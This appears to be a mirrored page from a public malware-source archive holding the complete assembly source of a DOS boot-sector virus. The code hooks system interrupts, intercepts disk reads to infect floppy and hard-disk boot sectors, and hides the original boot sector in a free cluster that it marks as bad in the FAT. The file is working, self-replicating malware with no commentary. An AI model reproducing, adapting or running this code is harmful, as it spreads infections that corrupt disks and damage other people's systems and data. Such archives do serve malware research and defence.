mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
434 lines
6.8 KiB
NASM
434 lines
6.8 KiB
NASM
.radix 16
|
||
start:
|
||
jmp begin
|
||
|
||
db 'IBM 3.3'
|
||
dw 200
|
||
db 2
|
||
dw 1
|
||
db 2
|
||
dw 70
|
||
dw 2D0
|
||
db 0FDh
|
||
dw 2
|
||
dw 9
|
||
dw 2
|
||
dw 0
|
||
|
||
work dd ?
|
||
count db ?
|
||
drive db ?
|
||
Fat_sec dw ?
|
||
old_boot dw 666d
|
||
flag db ?
|
||
sys_sec dw ?
|
||
|
||
;Simulate PUSHA
|
||
|
||
pusha:
|
||
pop word ptr cs:[sys_sec-start]
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push bp
|
||
push ds
|
||
push es
|
||
jmp word ptr cs:[sys_sec-start]
|
||
|
||
;Simulate POPA
|
||
|
||
popa:
|
||
pop word ptr cs:[sys_sec-start]
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
jmp word ptr cs:[sys_sec-start]
|
||
|
||
;This procedure Reads/Writes the absolute sector in BX
|
||
;ES:BP must point I/O buffer
|
||
|
||
write:
|
||
mov ah,3
|
||
jmp short do_it
|
||
read:
|
||
mov ah,2
|
||
do_it:
|
||
mov al,1
|
||
xchg ax,bx
|
||
add ax,[001C] ;Hidden sectors
|
||
xor dx,dx
|
||
div word ptr [0018]
|
||
inc dl ;Adjust dl because BIOS counts sectors from 1 (not from 0)
|
||
mov ch,dl ;dl is the first sector
|
||
xor dx,dx
|
||
div word ptr [001A] ;Cylinder in AX
|
||
mov cl,6 ;Set CX if cylinder is bigger than 512
|
||
shl ah,cl
|
||
or ah,ch
|
||
xchg ax,cx
|
||
xchg ch,cl
|
||
xchg dh,dl
|
||
xchg ax,bx
|
||
|
||
abs_read:
|
||
xchg bx,bp
|
||
mov dl,byte ptr [drive-start] ;dl is the drive
|
||
pushf
|
||
db 9A
|
||
orig dd ?
|
||
jnc ok_func
|
||
pop ax
|
||
ok_func:
|
||
ret
|
||
|
||
|
||
begin:
|
||
xor ax,ax ;Virus begining
|
||
mov bp,7C00
|
||
mov ds,ax ;Clear ds&ss
|
||
mov ss,ax
|
||
mov sp,bp ;Set SP bellow virus
|
||
xchg ax,di
|
||
mov si,bp
|
||
mov ax,2000 ;Copy virus somewhere in memory
|
||
mov es,ax
|
||
mov cx,0100
|
||
rep movsw
|
||
push es
|
||
mov ax,offset here-start
|
||
push ax
|
||
retf ;go there
|
||
|
||
|
||
here:
|
||
mov ax,1234
|
||
cmp [80*4],ax
|
||
mov [80*4],ax
|
||
je skip_this
|
||
les bx,[1C*4] ;Get old int 1Ch value
|
||
mov cs:[work-start],bx
|
||
mov cs:[work-start+2],es
|
||
mov [1C*4],offset entry_1C-start ;Set new value
|
||
mov [1C*4+2],cs
|
||
|
||
skip_this:
|
||
|
||
les bx,[13*4] ;Save original int 13h
|
||
mov cs:[orig-start],bx
|
||
mov cs:[orig-start+2],es
|
||
push cs ;DS=ES=CS
|
||
push cs
|
||
pop ds
|
||
pop es
|
||
again:
|
||
mov ax,offset again-start
|
||
push ax
|
||
xor ah,ah ;Initialize Floppy
|
||
mov byte ptr [flag-start],ah
|
||
int 13
|
||
and byte ptr [drive-start],80 ;Drive A: or C:
|
||
mov bx,word ptr [old_boot-start] ;Read second part
|
||
mov bp,offset second-start
|
||
call read
|
||
mov bx,word ptr [old_boot-start]
|
||
inc bx
|
||
xor ax,ax
|
||
mov es,ax
|
||
mov bp,7C00
|
||
call read ;Read old Boot
|
||
db 0EA,00,7C,00,00 ;JMP 0000:7C00
|
||
|
||
entry_1C:
|
||
push si
|
||
push ds
|
||
|
||
xor si,si
|
||
mov ds,si
|
||
cmp [si+21*4],si
|
||
je not_yet
|
||
|
||
push bx
|
||
push es
|
||
|
||
les bx,cs:[si+work-start]
|
||
mov [si+1C*4],bx
|
||
mov [si+1C*4+2],es
|
||
les bx,[si+21*4]
|
||
mov word ptr cs:[si+jmp_21-start],bx
|
||
mov word ptr cs:[si+jmp_21-start+2],es
|
||
mov [si+21*4],offset go_on-start
|
||
mov [si+21*4+2],cs
|
||
|
||
pop es
|
||
pop bx
|
||
|
||
not_yet:
|
||
pop ds
|
||
pop si
|
||
iret
|
||
|
||
go_on:
|
||
call pusha
|
||
cmp ax,4B00
|
||
je install
|
||
return:
|
||
call popa
|
||
|
||
db 0EA
|
||
jmp_21 dd ?
|
||
|
||
install:
|
||
|
||
mov ah,52
|
||
int 21
|
||
xor si,si
|
||
xor di,di
|
||
mov ds,es:[bx-02]
|
||
mov bx,ds
|
||
mov ax,[si+3]
|
||
add [si+3],96
|
||
inc bx
|
||
add ax,bx
|
||
mov es,ax
|
||
push es
|
||
mov ax,es:[si+3]
|
||
sub ax,96
|
||
push ax
|
||
mov ax,[si+3]
|
||
add ax,bx
|
||
mov ds,ax
|
||
mov byte ptr [si],'Z'
|
||
mov [si+1],si
|
||
pop [si+3]
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
mov cx,0200
|
||
rep movsw
|
||
mov ax,word ptr [jmp_21-start]
|
||
mov bx,word ptr [jmp_21-start+2]
|
||
mov ds,cx
|
||
mov [21*4],ax
|
||
mov [21*4+2],bx
|
||
mov ax,[13*4]
|
||
mov bx,[13*4+2]
|
||
mov es:[my-start],ax
|
||
mov es:[my-start+2],bx
|
||
mov [13*4],offset real-start
|
||
mov [13*4+2],es
|
||
jmp short return
|
||
|
||
|
||
real:
|
||
call pusha
|
||
cmp ah,02
|
||
jne exit
|
||
cmp dl,81
|
||
ja exit
|
||
mov byte ptr cs:[drive-start],dl
|
||
check:
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov byte ptr cs:[flag-start],al
|
||
mov al,byte ptr [043F]
|
||
push dx
|
||
test dl,80
|
||
jz ok_drive
|
||
sub dl,7F
|
||
shl dx,1
|
||
shl dx,1
|
||
dec dx
|
||
ok_drive:
|
||
inc dx
|
||
test al,dl
|
||
pop dx
|
||
jnz exit
|
||
push cs
|
||
push cs
|
||
pop es
|
||
pop ds
|
||
call infect
|
||
exit:
|
||
call popa
|
||
call_cur:
|
||
db 0EA
|
||
my dd ?
|
||
|
||
ident dw 01234
|
||
dw 0AA55
|
||
|
||
second label word
|
||
|
||
db '666'
|
||
|
||
infect:
|
||
push dx
|
||
xor ah,ah
|
||
int 1A
|
||
test dl,01
|
||
pop dx
|
||
jz bad
|
||
mov ax,0201
|
||
mov dh,0
|
||
mov cx,0001
|
||
mov bp,offset buffer-start
|
||
call abs_read
|
||
test dl,80
|
||
jz usual
|
||
mov bx,offset buffer-start+01BE
|
||
mov cx,0004
|
||
search:
|
||
cmp byte ptr [bx+4],1
|
||
je okay
|
||
cmp byte ptr [bx+4],4
|
||
je okay
|
||
add bx,10
|
||
loop search
|
||
ret
|
||
|
||
okay:
|
||
mov dx,[bx]
|
||
mov cx,[bx+2]
|
||
mov ax,0201
|
||
mov bp,offset buffer-start
|
||
call abs_read
|
||
usual:
|
||
mov si,offset buffer-start+3
|
||
mov di,0003
|
||
mov cx,1Bh
|
||
rep movsb
|
||
cmp [buffer-start+01FC],1234 ;Infected ?
|
||
jne well
|
||
bad:
|
||
ret
|
||
|
||
well:
|
||
cmp [0Bh],200 ;Bytes in sector
|
||
jne bad
|
||
cmp byte ptr [0Dh],2 ;Sectors in 1 cluster
|
||
jb bad
|
||
mov cx,[0E] ;Reserved dectors
|
||
mov al,[10] ;Copies of FAT
|
||
cbw
|
||
mul word ptr [16] ;FAT in sectors
|
||
add cx,ax
|
||
mov ax,20 ;32 bytes
|
||
mul word ptr [11] ;Elements in the catalogue
|
||
mov bx,1FF
|
||
add ax,bx
|
||
inc bx
|
||
div bx
|
||
add cx,ax
|
||
mov word ptr [sys_sec-start],cx ;system sectors
|
||
mov ax,[0013] ;Sectors on the disk
|
||
sub ax,cx
|
||
mov bl,[0Dh] ;Sectors in cluster
|
||
xor dx,dx
|
||
xor bh,bh
|
||
div bx
|
||
inc ax ;AX=clusters on disk
|
||
mov di,ax
|
||
and byte ptr [flag-start],0FE
|
||
cmp ax,0FF0
|
||
jbe small
|
||
or byte ptr [flag-start],1
|
||
small:
|
||
mov si,1
|
||
mov bx,[0E] ;Where to read FAT from
|
||
dec bx
|
||
mov [Fat_sec-start],bx
|
||
mov byte ptr [count-start],0FE
|
||
|
||
look_here:
|
||
|
||
inc word ptr [Fat_sec-start] ;Next sector in FAT
|
||
mov bx,[Fat_sec-start]
|
||
add byte ptr [count-start],2 ;Adjust for new offset
|
||
mov bp,offset buffer-start ;BP points buffer
|
||
call read ;Read FAT's sector
|
||
jmp short where
|
||
|
||
look:
|
||
mov ax,3 ;Multiply by 1.5 rounded down to integer number
|
||
test byte ptr [flag-start],1
|
||
je go_1
|
||
inc ax ;For 16 bit FAT
|
||
go_1:
|
||
mul si
|
||
shr ax,1
|
||
sub ah,byte ptr [count-start] ;Adjust offset in range of 512 bytes
|
||
mov bx,ax
|
||
cmp bx,1FF ;If reached the end then load next FAT sector
|
||
jnb look_here
|
||
mov dx,[bx+buffer-start] ;Information for this cluster
|
||
test byte ptr [flag-start],01
|
||
jne go_2
|
||
test si,1
|
||
je go_3
|
||
mov cl,4
|
||
shr dx,cl
|
||
go_3:
|
||
and dh,0F
|
||
go_2:
|
||
or dx,dx ;Free cluster ?
|
||
jz found
|
||
where:
|
||
inc si
|
||
cmp si,di
|
||
jbe look
|
||
ret
|
||
|
||
found:
|
||
mov dx,0FFF7 ;Prepare for marking it as bad
|
||
test byte ptr [flag-start],1
|
||
jnz go_4
|
||
and dh,0F
|
||
test si,1
|
||
je go_4
|
||
mov cl,4
|
||
shl dx,cl
|
||
go_4:
|
||
or [bx+buffer-start],dx ;Set it in FAT
|
||
mov bx,[Fat_sec-start]
|
||
mov bp,offset buffer-start
|
||
call write ;Update 1'st FAT copy
|
||
mov ax,si ;Convert cluster address in si to sector number
|
||
sub ax,2
|
||
mov bl,byte ptr [0Dh]
|
||
xor bh,bh
|
||
mul bx
|
||
add ax,[sys_sec-start]
|
||
mov si,ax ;Si is the sector that is free
|
||
xor bx,bx
|
||
mov bp,offset buffer-start
|
||
call read ;Read old BOOTSECTOR
|
||
mov bx,si ;Put it in a quiet place
|
||
inc bx
|
||
mov bp,offset buffer-start
|
||
call write ;Do that
|
||
mov bx,si
|
||
mov [old_boot-start],si
|
||
mov bp,offset second-start
|
||
call write
|
||
xor bx,bx
|
||
xor bp,bp
|
||
call write
|
||
ret
|
||
|
||
this_ db 1024d-(this_-start) dup (0F6h)
|
||
|
||
buffer label word
|
||
|
||
|
||
|